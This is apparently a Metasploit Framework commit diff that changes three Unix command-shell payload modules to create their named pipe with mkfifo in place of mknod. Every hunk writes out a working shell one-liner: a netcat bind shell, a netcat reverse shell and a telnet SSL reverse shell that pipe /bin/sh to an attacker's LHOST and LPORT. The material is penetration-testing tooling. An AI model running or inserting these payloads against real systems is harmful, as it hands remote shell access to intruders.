Land #6849, mknod to mkfifo

lands wvu's pr to switch from mknod to
mkfifo for netcat payloads
bug/bundler_fix
David Maloney 2016-05-05 10:34:41 -05:00
commit 891a788ad4
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
3 changed files with 4 additions and 4 deletions

View File

@ -52,7 +52,7 @@ module MetasploitModule
#
def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
"mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
end
end

View File

@ -19,7 +19,7 @@ module MetasploitModule
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
'Description' => %q{
Creates an interactive shell via mknod and telnet.
Creates an interactive shell via mkfifo and telnet.
This method works on Debian and other systems compiled
without /dev/tcp support. This module uses the '-z'
option included on some systems to encrypt using SSL.
@ -53,6 +53,6 @@ module MetasploitModule
#
def command_string
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
end
end

View File

@ -52,7 +52,7 @@ module MetasploitModule
#
def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
end
end